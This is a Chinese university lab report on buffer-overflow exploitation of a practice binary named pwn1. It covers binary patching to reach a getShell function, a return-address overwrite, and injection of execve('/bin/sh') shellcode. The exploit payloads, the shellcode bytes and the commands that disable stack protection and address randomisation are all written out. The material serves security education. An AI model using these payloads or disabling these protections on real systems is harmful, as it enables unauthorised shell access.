20221906 2022-2023-2 《网络攻防实践》实践9报告

20221906满子琪 2023-05-10 10:42:50

目录

 

1.实践内容

1.1 知识点总结

1.2 实验目的

2.实践过程

2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

2.3注入一个自己制作的shellcode并运行这段shellcode。

3.学习中遇到的问题及解决

4.实践总结

参考资料


1.实践内容

1.1 知识点总结

(1)缓冲区溢出

缓冲区溢出是指当程序尝试向缓冲区写入超过其容量的数据时,这些数据将被写入到紧邻的内存区域中,导致对该区域的内存操作被修改或破坏,从而导致程序崩溃、系统崩溃或者程序漏洞被利用。

(2)"getShell" 函数

"getShell" 函数通常是一个命令执行函数,用于从远程服务器获取 shell 访问权限,以便攻击者可以在目标系统上执行任意命令。

(3)Shellcode

Shellcode 是一段用于利用软件漏洞或执行恶意代码的二进制机器码。通常,Shellcode 被用于利用缓冲区溢出漏洞,使攻击者可以通过篡改内存中的程序指令来控制目标计算机上的程序执行流程,实现攻击者的恶意目的。

1.2 实验目的

本次实践的目标是一个名为pwn1的Linux可执行文件。该程序的正常执行流程是:main函数调用foo函数,foo函数会简单回显任何用户输入的字符串。同时,该程序包含另一个代码片段getShell,该代码片段会返回一个可用的Shell,但通常情况下不会被运行。我们的目标是尝试运行这个代码片段,并且通过学习两种方法来实现这一目标,最终学习如何注入并运行任意的Shellcode。

2.实践过程

2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

首先将pwn复制成两份,放入主文件夹中,分别命名为:“pwn20221906”和“1pwn20221906”,利用root权限,将hostname改成自己的名字;

输入“objdump -d pwn20221906 | more”进行反汇编

往下翻页,找到getShell函数、foo函数和main函数;发现main函数调用了fool函数:

通过cp pwn20221906 1pwn20221906进行数据的备份,并对第二个文件进行修改:

 通过sudo apt install xxd 下载xxd:

按esc键通过:%!xxd修改格式为十六进制

 进入第一个文件,将d7修改为c3:

通过%!xxd -r 还原为原格式后,利用:wq 保存退出。 

 通过objdump -d pwn20221906| more发现已经成功修改:

 

2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

 首先安装gdb:

观察fool函数:0x1c大小即只有28个字节的缓冲区;

call调用fool,返回8048491;

使用gdb调试,输入mmmmmmmzzzzzzzqqqqqqq111111112345678发现缓冲区溢出错误:

 

 eip中的值是0x38373635;

通过perl -e ‘print “mmmmmmmmzzzzzzzzqqqqqqqqcccccccc\x7d\x84\x04\x08\x0a”’ > 20221906,并通过xxd 20221906查看,

2.3注入一个自己制作的shellcode并运行这段shellcode。

 安装execstack:

 通过execstack -s 1pwn20221906设置堆栈可执行

 通过execstack -q 1pwn20221906查询堆栈是否可执行

 通过echo “0”> /proc/sys/kernel/randomize_va_space 关闭地址随机化。

 

通过perl -e ‘print“\\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00”’ > 20221906mzq

 

 attach 8664查看:

通过info r esp查看栈顶指针所在的位置为“0xffffd5cc”。接着输入x/16x 0xffffd5cc,发现“0xffffd5cc”中有值“01020304” 

 通过​​​​​perl -e 'print "A" x 32;print "\xc0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input20221906

通过 (cat 20221906mzq;cat) | ./1pwn20221906

 

3.学习中遇到的问题及解决

  • 问题1:xxd调用不了,
  • 问题1解决方案:没有下载,下载即可。
  • 问题2:xxd下载不了,
  • 问题2解决方案:无意间关闭了桥接模式,重新打开即可。

4.实践总结

通过这次实验,我学习了汇编指令、以及注入运行shellcode、触发getcode函数等;极大的增加了我的网络攻防水平,使我对shellcode和缓冲区溢出又有了新的了解和领悟。

参考资料

  • Metasploit渗透测试指南(第2版)
  • Shellcode攻击剖析
...全文
74 回复 打赏 收藏 转发到动态 举报
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复

77

社区成员

发帖
与我相关
我的任务
社区描述
网络攻防实践作业
网络安全系统安全 高校
社区管理员
  • blackwall0321
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧